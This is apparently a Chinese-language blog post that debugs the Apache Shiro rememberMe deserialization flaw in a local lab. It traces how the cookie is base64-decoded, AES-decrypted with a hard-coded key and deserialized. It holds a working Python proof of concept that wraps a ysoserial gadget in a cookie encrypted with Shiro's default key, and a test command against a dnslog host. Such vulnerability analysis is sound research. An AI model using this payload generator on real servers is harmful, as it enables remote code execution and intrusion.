Shiro反序列化原理调试分析
环境搭建
首先是搭建环境,我参考的是这个
部署好以后访问http://localhost:8080/samples_web_war/
下面是进行shiro rememberMe请求的数据包
测试
py3 poc.py “http://9108ak.dnslog.cn”
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={}".format(payload.decode()))
# with open("payload.txt", "w") as fpw:
# print("rememberMe={}".format(payload.decode()), file=fpw)
终于搞好了,今天有点水逆,磕磕绊绊的😔
调试
CookieRememberMeManager的类,顾名思义就是Cookie rememberMe的管理类,直接在org/apache/shiro/web/mgt/CookieRememberMeManager类的getRememberedSerializedIdentity()函数中打上断点开始调试。
调用链是这样的
从DefaultSecurityManager再到CookieRememberMeManager
读取cookie,存储在base64的这段字符串就是我们传的payload,看看他会怎么处理
处理base64,确保是合法的base64
private String ensurePadding(String base64) {
int length = base64.length();
if (length % 4 != 0) {
StringBuilder sb = new StringBuilder(base64);
for (int i = 0; i < length % 4; ++i) {
sb.append('=');
}
base64 = sb.toString();
}
return base64;
}
返回解码的base64值
到了getRememberedPrincipals函数
接下来principals = convertBytesToPrincipals(bytes, subjectContext);
这里应该是进行aes解密
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
跟进decrypt函数
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
跟进cipherService.decrypt
跟进去以后发现key已经有值了,看看这个值是哪来的:ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
getDecryptionCipherKey():
好像是一个常量?
去找一下这个常量如何赋值
点进去就进到了AbstractRememberMeManager类里
找他的构造方法
发现就是一个硬编码
继续往下面看
到这里aes解密完成
解密出来以后调用deserialize
来进行反序列化
跟进
跟进deserialize
这里就把我们链子里的对象反序列化出来了
也是在这一步反序列化执行完以后dnslog收到了请求
总结一下就是:读取cookie > 解密base64 >用key解密aes> 反序列化